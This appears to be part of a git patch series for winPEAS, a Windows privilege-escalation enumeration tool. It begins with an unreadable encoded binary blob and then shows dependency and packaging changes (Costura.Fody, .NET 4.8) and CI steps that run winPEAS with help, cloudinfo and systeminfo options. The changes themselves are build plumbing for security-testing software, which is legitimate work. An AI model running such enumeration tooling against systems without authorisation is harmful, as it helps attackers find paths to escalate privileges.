zI%2}!;On&m=H1KQl=6N>Y~Ik~QnUxL#P6E_a23|HUtsE)P$44|k7GOV@0(J42oRZd=B_O#8{sR6?)LRe9@j^L1QLPa4)BjiSraGU%W{(&t~q;8@6cn z^}1Mwdf))NzdoZ_`Qq(^M(~k@2+q=2(NG*zqI~V{A>k1tMg@-xnIP{ojrDkZxZJJl z#PA?>u>8xn>VA5H%|Cs@e_le>J8r!?=^9Y|LCSBNYILt~=%#=6=!&!JwM=lntM8S0~3d3&9*OrN_Zr^)pPHv9V8zCVw7YMX!L{EI91uJ=zc zG#Qvw%D3KuW<}4>EmGxfbN`pk#+;aNW#^=}9oDq1wDHv0Nw+Q^DL%Mnk$T<7^d9$M zQt5#=^L8GJy|!|Z`|1Sm(5{+AqxUbn)#u^Ol_i&-%*t8!Xz7PucgoanYh1CitzW8D z$roF+MOKV|7LrlVHX!=dMr(h~l}pN}FF*8DWRGvq{Osy`O}mZh*fBnJN|ny*r&asy(&?!; zZ%pcYdH(Ou>W;iydcxW5p&KRz&Fg1!S>#z}sJFBylE26^*k4)Hx<{p)m-cgCc`i0? zJ@D(cN3C2uO2)+3X?&n_llL)6y&4P*^sad0Zmq66YOXuG;LiPpx1%zy7jGLr((P7_ z_is+*j~)4_->iPN+FgE~9+qG1Altd6d)kxRe+~=s@jv%^+MC z)($UNLam$9Q{2B=5C3+-{IZ@JUY4nOIca{|w)Lheb8ojT@@tjHYZQ&>&6UgA)=|{b z)%di$+1cnAMfTdo=t!V!mEpi)sFTd7ZsYoVBX$>1R7D?MFI~@h z-T&!A*V$9-Gz&JG1^dj8+f1>`WRuB48v3s%_58Q1=RZ4X8&PbzEt_YB$ESt0uAzt{k% z%^6+W`)y?NZ5L9{zENF#_S>HaGIxHvxgzW0m{{=J%1n0@b{%}u9UQ{Ds~@H_py z-QCA_c6EnUZZrDj!zOdWYcEguC2wbyR@;1D_OE_rXUDh-frIQ{SFQF#tk2tp2V%VD zbbm28@pX-{0_{^7VS#Mu+VDQC5GDU1Cg1dX%E+tLAf7RQ+?N zefOk|xmE85Mn!s_l-s>nuxCLHU8~e7uZmU*2%Wckc=E-V%O`)Tf8fBmnl_Q;E1wT3 zer*4ujhj|&{N~P+bo1?;c)wV!!M(=0K5bf5S{PB;XKlzs<4^CLXPWzrZ}zO#p64%* ztbCBvvG=?09h>w!K7VY>=hwXq{r9w*>0<7A$@a(Bi&y7;)Bnt!clT=CySz{3QgU^r zq?oj2N5k4Ue|Ia!W5ewpkA6uXai)E{^a)n$j@4{#WPCVvRf8I>>twr!jn*fYJo37T&#)hp-Og;biLGq9 z+fcr4kWZiKo1ZGS|2nSQ@c0Gy=ae{MH#~f0yQn`tIILfwJ@=+h>Mg$wfgRMp#&*3u z-l2Nwq>7VH=kD6u%JpW&Q}N!#eQvK@+SI#qW>`pg$r{reWi0*m&myB* z>^~W09Wvx4zrxH!}3`(v#<`lKS`Xcoo*nFl*H5Z{$CWoltM) z>0EiejbT+PU8&XMkM|>;J1jZUsBU!2T?>9Yoe({F#~-P++YSvmzHo;8*_|KfZoKTC zdGmJLY2RKea{5@e$`3Ys$CR0$`}p1M6}K;(4ZrJt?L^{M#~pSn?)=y!Zq%{-8dLY2 zny~Y6n~^ta+9dS(asI8=uLf-#ul{Yg_uKRCORBA{m-B;PRsRb%E!t;o{VA&0wpB3` z;~ECN9ePl8_vh9XbcYAGFZc8PZtZe=MJ?!nZRY3UW&N;!?N`rERnKhWImK16^-6qh;Ql`6S1qpM{vbo!HuQO_ z{#BQmf9|#&;3t3fvQE>sUE;6oesbm~S!|T|3q_PugU{X0#>UD$%E^_-oIm$haVyKI zI1d$JL+dWKq{Rc~`C0|p*jm$#6v0JH7TohHF5`aIK-&R|ehk}>2hDpITFmM%x3L=c zY2;dEN{R5p_AR?k(B7Tg@Ab

    $1`dXJ_X%#RrwC>o?gZsgaAFa~T#_?&x^5@K7{q zq3{@_iz-hkitguDSL&zB2A@q&SFE>dk+k@x=t>9o2k&9C6A`f~)qRPiYIDIJuFU6LAyjtAOYVsfV;qiSs&aeF4;=$={`~FlT_vFU&w@%#|8e6*f z<;K48tG{VgZ{3*7BOUzrr7SO-d^~l_*gs@-7gQNJD&(~Px~7x%wp@LGg=&eb{NCZU zts1WyeIw*f$os(u&efN@?pwWLYocoQlaoh_B`JcBeAoWs+gZhHu1JV-xj1%bPOBqB zuT*rN`=;Z)QX@jwzn?VhV9~X$&4(IID^qE7?;F|Y+77?i;q;v6ro%6M8xHF@dDZ0i zf5>7heYY>`cJGzjI-ifM+hSa9==I4{AkKd_ccMC`>pRQ(!b^na6f#;7mu1pB5Sgg6#(lV~wdL2*o8~t5$@W@@ey(>jl9DnmdnOuMGH#wUd zT`S5pv=O!OtQf^BB#G0?q9~@V0XI@p$n8q#djk7Ymd{b}U zgXz7!Qeuk7PTCSWX;a&*iL1_Dla+rzqH~Fb@6Fo}pFMmfw5EA)`=}$jNp03GTW-5G zL|vy;&mG&E{r=lw~OTBV>6+5zG z$8}Zg)0U?fe0Nki{nM?iAGnn@|6lgSUvIj^6>Q~N;-*yL`%rcYxp-V|%kAIKH*l;K zB@2&car5`n{jQyk7shv=+c>=Ll(mf~FB~ghvLSn7q5EZt+aH&|^Z2+aF!pT!lpy!` zD`#(XQ4A8#uWH*z(M!=&*In0bUYAe%%l~x4sk7&o%{L>l@IdU~ZP|m*)_&Tziv8|) zirJcfxZm~v^gQ;vexJ(okM_I&zDN;&nUXBK+u1JXuIN&>#W?L&FY39Vb?~~JS|5%! zxOx2E(CW(`EUa#wl66v}zi{Wqp@+4j7EEgF{6~-NS3=KU3s_hG;lnn*i?hboZVxL@hDacH)#QLV^Y>+2QyW=`Fh?E|JQxm3GT*&0ps+&ILevy~j zkm6&?ztv@`-JoiRww{bx>C$)S&%5`9RNQ&e@yU11Jtr8vYyWX&(CVH|7M)o%b>`%b zv5Ee*$J%tfazV9CwQy7aJ${F-bvopBI^#|UNqyy5%!Z2J+uS>|wE5%iy`TOTQ0-v< z&JQn^?Y7Y4K=f_@>)S82eKp+B{@juqPD_7JHTJtPZ*O{?2HvK%O}grvo%uOz)wips zdHD`Mvj1`$kE@f-1n-T8b zPp2t+w1WM&nY-U7+@BVd8hoz$kyiKDMl~Ja=6E#ZiO1S4r*c|mZSFL0+)k%=2d9QQ zgl48~3U8U$rPGeHvyN@|GUhyReZD<5t3!jUJ^W@?3051YmN;XbJ0xJ2+Xt^(y$793 zcdA~a$Fm2go!+R%eJD1y>ZH{^-oIsaIvwgU!@u#E&Ox^-g>PT;YFvY&ogRBvF`I|y zUb>K>)%a}E$h;S@ie<8jttwc>iZyG#qh{Y3Ii1trxs9$jZ17*Y%zy0%HmtKOGL~QB z2R6<5^7CD<|H?}GpMF&H>%68#yZp4TO<0#+{SMc%IrwC0^OV)SV$YrW?)MFTapQG{ zW8b|R^rCF6k3;+63DHl3U(bBH?)#Fn)>qw7rb$&*`I5E6SB=jfptqj+uEW+j7t8(` zzWJv|^)+)ARCm65|6-eiPP5V~)^FSX@|eZTGC^RL%-VUnA)>+E}i8aZgd!>nLc?!om$$M zmR@Cldhuez?N);y%)U~+!iA`MhnMZuUAfUVF8uYKs)IsTJn6l%Y<>R-rCVBfhZ9%3 z#=4I4I#l=RkmjAZUzSZCb)%E*o+r6qFD`zuvc#U0wH%8?qU2FSd zf5et{Rf81_q|$TxK00xCX!bBgxjmgWY&$*W=ToJ}t+7AVWb5(G zpVl`n4f%1+zyDFq->yuBm#+WaAJy3Xzx+ov|9OG`oBJ^{2QD@)-##%W#izQ}x1-PH zRBM0D;M_>oz5GcY&hTi?) z*7tk!*#(oP1YJC44vVkx+E^#bCv#1mN@+E#)ZVw_O1=9pHf)}@W_Eo4d1)m&{&w}? zBHf*sH*b>Ghiy7|c;CLUlP>&PUQ_(w_KnBq&#$?wXMC5Rr;c9wXV|*C-K={jH~)5d zpY&Fh?Yfj%alFMhe|)GlYE7L6ZQ6}X{&VyJ@8dnUD}St3O=;RuzUJ}El_Oi;+>mk0 zbJDW&wa4A`3QtS2>ba*~tH=z$j5h~YPJdWpc#{_My(7Qzy1VY$A2r@pb~}CeRos!C7=C$!j>H4?My-8{8 zA5G2n)sG%9U}InZ#rE}g^h{P<=>O=*^r1I0 ze(O2xR?|D~M=vfPc6sp<&Bg6YW0cxy2O2QyYqv(B<#PPq8sx^LY>{Q zJzH!m>+kfk=8#TH0$=V6iJlTOrOm*h?WfHDes#ze_5Jp>J{9YKYh1DQ)QIu-n_M__wVSPUY^LkV14~|3+p?wXj$N~! zoL#7H;2n^YYWLgj)81vv4ZbB)-FH89B+RjT@vAfZCbt{)pxW?* z@?PU6Zcdx`L(l!^Iu2hie;Zrnka0=e=5I^XUi18BNaL8w4WC~~*;4sdrB7>COV+Gr ziZbHb$8zJlh{A@8uR_;Kf4d$PUa&gekK6QY+0iKXhP{4BPOi58>G(No9oajEdEeAjOpH{9X%_}K@|&-t-0pM+hh zxx2Sbb`Mj%E3X^&Kl$p}%XGyzYk$}>?99pEJNW$Aq1ydbVX?kj*Bo8nGr6cu`Kfh$ z&fJ-mH&Ach+qh)X-6x){AH1|VJYRpxPg${Pr?DY@4Oy}M7e7ci+a_=G<#(<*&!!F< z(s$v+$FZt5Z>JOwp0jb{kxTMLO#@u5ZH~$f>HfOX%29`6s_)w}@Oi&+C+nnzPB}5L zM#E>{P8wTdT=fs-vidfx^KDMc3+CSJ@)VatxVL=6R8V+`?Y7qbtjdI#$Qfl>t5YfzHpi` zuIZuNSDL3?#@>E;Va4#@_m+(;8!^1ESJ*AT)z9uKnioEMV|O=2Z3Rn=t^CxBo8uow zR6q9n8RdXr?`9LD7F_JNHnWN2rtU6l&)7%06<*j1?wR}L=X6c{u6gjw13wg9d_!`J zua%a0C)mwRT{*SvmZ&m)!n_BEJ~vdY?flxmC?f_M3Iz|GB*4%Do4+*6j7Lt;-3=F8sR%RX5+r)c-N*(srvI zrL*RBtu^wN`>{$##y|BaHv0c+=kBAKUIPG*w^_{)Qe%kZC2N#zm?m#sRD_XUq)02h zd5KlTyi1cpLMm!QBvbNID4IgaO5q4)GNRO$mzz=Ax<9v@Titt4r|vo3`^WF!=bYbv z&vVZ6`#zuNacWy(pd;(4K+q^MsyV4dbS&?gAifNdVqKqIN-&SeyvTC%PhK-(I2Vr} z3${^qH)8K+#l6U)n~dt6WgZK#a~N+D7dCpUqpAuNh#{RCEBy`?Uh)c2irF;!d>?Se zjkz_|%b_r!mt%^7u}f1^a%AD3yhPra6YpuTS11MHEbrByPcXUSBAA}?>3n_<*% zo-w9x^B~%5oBC?H?(QCti-KGf=r_5j@?vb1GG?-d{l{GN%RhETf z7RyTa9%vMaMs4vv;}YbpSUcy&kY|t zwaj%_+?HcGxN)49hD>^F!c~ct#E1Kj>u!0`TZ&xrvP6w7*P&g)pD7#5yI&Q)kf+=M z&&Qe8Tu7~G+unB&sz=Q|TwMXF=yPnWD5~K(NU)SisC;x5!@nAOirjZvd}f>FW~4CS zArE?Nni;*3|6F))qL9P{C-!u3M8O(4@fzH7WR=NRs5BcH=-#o3G*t4rw zEJ}QDHG|Y)rIHnR73)F~8$Z_4-VZtcp}85E#qbs1IH%d$Dr`lH&Gd>J)1GP*F3%If zweuFdUr?)2opAHC*sXP9&0KEi?N)(UcFhwFEpC|%oDeD{zl-IpFO)FcT-!45J!T~6 z+zw}=OuIsgCv<6bo;<_J%#~k+aP!TKQaA`u(uk=D_EDVr0b|}%bNhF33LNq)0RHlqygU8Ii+3s8oTt_kBwB zhtcWRm0u!ykBcgsrWc}Gb|Y3Ozh-N!+6#}4qbMoYprP`?+ea{3?eB(%+nz9B$v`l7 z>`2-Il{f6O$bQx4wxP7-vEXkMD;+kpHz+Q@m6kMH5w`B(Tau#8VZ?PU8~$VGH~nM_ zy!0ySU}5uVO=6*ZI4C=_3Lm5}?T8ILB z>Uc@7hyU&*e(NyAzB`dZsGR65Ze zjghal9+numh*`6e|IJ;=a4^Q&{Cz?n3Hy{n7~AhWT;3vu1zC`3s%xl_0*myHa#FE zr7)o?vD?7HG)ecZuPf?6=$RdFH?+iYo)-tIVb#e=(mI=0?GU$+zG&?3!WgqxdFJW4 z$O_R;7y0D9@{(5kmD4aTis>I3JAj(YDJ^o(jMN`ytqp5<#R T+KcPyigM^>y6i6C$ + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj index 16d92d5..e5fd000 100755 --- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj @@ -1,5 +1,6 @@  + @@ -10,6 +11,7 @@ winPEAS winPEAS v4.8 + false 512 true @@ -118,18 +120,39 @@ ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll + + ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll + ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll - - ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll + + ..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll + + + ..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll + True + True + + ..\packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll + True + True + + + ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll + + + ..\packages\System.Console.4.3.0\lib\net46\System.Console.dll + True + True + ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll @@ -140,20 +163,108 @@ ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll + + ..\packages\System.Diagnostics.DiagnosticSource.4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll + + + ..\packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll + True + True + + + ..\packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll + True + True + ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll True True + + ..\packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll + True + True + + + + ..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll + True + True + + + ..\packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll + True + True + + + ..\packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll + True + True + + + ..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll + True + True + + + ..\packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll + True + True + - + + ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll + + + ..\packages\System.Net.Http.4.3.0\lib\net46\System.Net.Http.dll + True + True + + + ..\packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll + True + True + + + + ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll + + + ..\packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll + True + True + ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll True True + + ..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll + + + ..\packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll + True + True + + + ..\packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll + True + True + + + ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll + True + True + + + ..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll + True + True + ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll True @@ -164,8 +275,27 @@ True True + + ..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll + True + True + + + ..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll + + + ..\packages\System.Text.RegularExpressions.4.3.0\lib\net463\System.Text.RegularExpressions.dll + True + True + + + ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll + + + ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll + @@ -173,6 +303,11 @@ + + ..\packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll + True + True + @@ -1385,6 +1520,11 @@ + + + + + @@ -1393,7 +1533,12 @@ + + + + + \ No newline at end of file From edab7cecba531fa94be02ec6d6eea1d46134ea08 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 04:52:06 +0200 Subject: [PATCH 62/69] Remove launch tests --- .github/workflows/CI-master_tests.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 83eee4d..2ae5658 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -47,12 +47,12 @@ jobs: run: nuget restore $env:Solution_Path # build - - name: run MSBuild - run: msbuild $env:Solution_Path + #- name: run MSBuild + # run: msbuild $env:Solution_Path # Execute all unit tests in the solution - - name: Execute unit tests - run: dotnet test $env:Solution_Path + #- name: Execute unit tests + # run: dotnet test $env:Solution_Path # Build & update all versions - name: Build all versions From b8adc7af3bf0d87a5770fd4cee15a1b77f7d9a08 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 1 Oct 2024 04:06:15 +0100 Subject: [PATCH 63/69] gcpw.test --- winPEAS/winPEASexe/Tests/App.config | 2 +- winPEAS/winPEASexe/Tests/FodyWeavers.xml | 3 + winPEAS/winPEASexe/Tests/FodyWeavers.xsd | 141 ++++++++++++++++++ winPEAS/winPEASexe/Tests/packages.config | 40 ++++- winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj | 18 ++- winPEAS/winPEASexe/winPEAS/winPEAS.csproj | 4 +- 6 files changed, 201 insertions(+), 7 deletions(-) create mode 100644 winPEAS/winPEASexe/Tests/FodyWeavers.xml create mode 100644 winPEAS/winPEASexe/Tests/FodyWeavers.xsd diff --git a/winPEAS/winPEASexe/Tests/App.config b/winPEAS/winPEASexe/Tests/App.config index 9acd6ec..dc08034 100644 --- a/winPEAS/winPEASexe/Tests/App.config +++ b/winPEAS/winPEASexe/Tests/App.config @@ -5,7 +5,7 @@

    - + diff --git a/winPEAS/winPEASexe/Tests/FodyWeavers.xml b/winPEAS/winPEASexe/Tests/FodyWeavers.xml new file mode 100644 index 0000000..5029e70 --- /dev/null +++ b/winPEAS/winPEASexe/Tests/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/FodyWeavers.xsd b/winPEAS/winPEASexe/Tests/FodyWeavers.xsd new file mode 100644 index 0000000..05e92c1 --- /dev/null +++ b/winPEAS/winPEASexe/Tests/FodyWeavers.xsd @@ -0,0 +1,141 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/packages.config b/winPEAS/winPEASexe/Tests/packages.config index 220e9ba..6bc14ee 100644 --- a/winPEAS/winPEASexe/Tests/packages.config +++ b/winPEAS/winPEASexe/Tests/packages.config @@ -1,14 +1,48 @@  + + + + - + + + - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj index b7cfe80..db5fa88 100644 --- a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj +++ b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj @@ -1,5 +1,6 @@  + @@ -12,12 +13,13 @@ Library Tests Tests - v4.5.2 + v4.8 512 true true + AnyCPU @@ -45,6 +47,9 @@ ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll + + ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll + ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll @@ -61,6 +66,7 @@ ..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll + @@ -72,6 +78,11 @@ ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll + + + + ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll + @@ -107,10 +118,15 @@ + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj index e5fd000..bfb8d5f 100755 --- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj @@ -1508,9 +1508,9 @@ - + False - Microsoft .NET Framework 4.5.2 %28x86 and x64%29 + Microsoft .NET Framework 4.8 %28x86 and x64%29 true From bc732d64580c4da2d2bd6b8da9a44695dd251d88 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 05:13:26 +0200 Subject: [PATCH 64/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 2ae5658..83eee4d 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -47,12 +47,12 @@ jobs: run: nuget restore $env:Solution_Path # build - #- name: run MSBuild - # run: msbuild $env:Solution_Path + - name: run MSBuild + run: msbuild $env:Solution_Path # Execute all unit tests in the solution - #- name: Execute unit tests - # run: dotnet test $env:Solution_Path + - name: Execute unit tests + run: dotnet test $env:Solution_Path # Build & update all versions - name: Build all versions From c5775dda5931654925d26684f777ce0c13551878 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 05:20:42 +0200 Subject: [PATCH 65/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 83eee4d..2611535 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -51,8 +51,8 @@ jobs: run: msbuild $env:Solution_Path # Execute all unit tests in the solution - - name: Execute unit tests - run: dotnet test $env:Solution_Path + #- name: Execute unit tests + # run: dotnet test $env:Solution_Path # Build & update all versions - name: Build all versions @@ -66,6 +66,9 @@ jobs: echo "build Any CPU" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU" + - name: Execute winpeas + run: winPEAS\winPEASexe\winPEAS\bin\$env:Configuration\winPEAS.exe + # Copy the built versions - name: Copy all versions run: | From d37ebda1b5252d0ffb76c349d5e45702fa1ded85 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 05:27:30 +0200 Subject: [PATCH 66/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 2611535..a100260 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -66,8 +66,16 @@ jobs: echo "build Any CPU" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU" - - name: Execute winpeas - run: winPEAS\winPEASexe\winPEAS\bin\$env:Configuration\winPEAS.exe + - name: Execute winPEAS + shell: pwsh + run: | + $Configuration = "Release" + $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" + if (Test-Path $exePath) { + & $exePath + } else { + Write-Error "winPEAS.exe not found at $exePath" + } # Copy the built versions - name: Copy all versions From e6e1145be6bd706fbe82ac3309fbcda5e3853bf9 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 11:29:39 +0200 Subject: [PATCH 67/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index a100260..433ce33 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -72,7 +72,7 @@ jobs: $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { - & $exePath + & $exePath -h } else { Write-Error "winPEAS.exe not found at $exePath" } From 6fa12e07f10232b6074ce3e9355a400083ccff75 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 11:57:11 +0200 Subject: [PATCH 68/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index 433ce33..cf97d24 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -66,7 +66,7 @@ jobs: echo "build Any CPU" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU" - - name: Execute winPEAS + - name: Execute winPEAS -h shell: pwsh run: | $Configuration = "Release" @@ -76,6 +76,28 @@ jobs: } else { Write-Error "winPEAS.exe not found at $exePath" } + + - name: Execute winPEAS domain + shell: pwsh + run: | + $Configuration = "Release" + $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" + if (Test-Path $exePath) { + & $exePath domain + } else { + Write-Error "winPEAS.exe not found at $exePath" + } + + - name: Execute winPEAS systeminfo + shell: pwsh + run: | + $Configuration = "Release" + $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" + if (Test-Path $exePath) { + & $exePath systeminfo + } else { + Write-Error "winPEAS.exe not found at $exePath" + } # Copy the built versions - name: Copy all versions From 6854d3ae30c73a9650b289540eb03b7bd89aca40 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Tue, 1 Oct 2024 13:16:13 +0200 Subject: [PATCH 69/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index cf97d24..06354bf 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -77,13 +77,13 @@ jobs: Write-Error "winPEAS.exe not found at $exePath" } - - name: Execute winPEAS domain + - name: Execute winPEAS cloudinfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { - & $exePath domain + & $exePath cloudinfo } else { Write-Error "winPEAS.exe not found at $exePath" }

